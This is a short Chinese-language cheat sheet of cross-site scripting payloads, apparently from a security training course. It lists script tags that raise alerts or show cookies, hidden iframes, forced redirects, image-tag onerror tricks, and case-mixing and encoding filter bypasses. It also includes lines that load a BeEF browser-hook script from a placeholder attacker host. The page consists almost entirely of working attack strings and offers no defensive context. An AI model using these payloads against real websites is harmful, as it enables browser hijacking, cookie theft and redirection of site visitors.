XSS脚本

XSS脚本
弹窗警告：

<script>alert('xss')</script>
<script>alert(document.cookie)</script>

页面嵌套：

<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0></iframe>

页面重定向：

<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>

弹窗警告并重定向：

<script>alert("请移步到我们的新站");location.href="http://www.qfedu.com"</script>
<script>alert("xss");location.href="10.1.64.35/mutillidae/tobots.txt"</script>

访问恶意代码：

<script src="http://www.qfedu.com/sxx.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script>

巧用图片标签：

<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>

绕过过滤的脚本
大小写

<ScrIpt>alert('xss')</SCRipt>

字符编码 采用URL,Base64等编码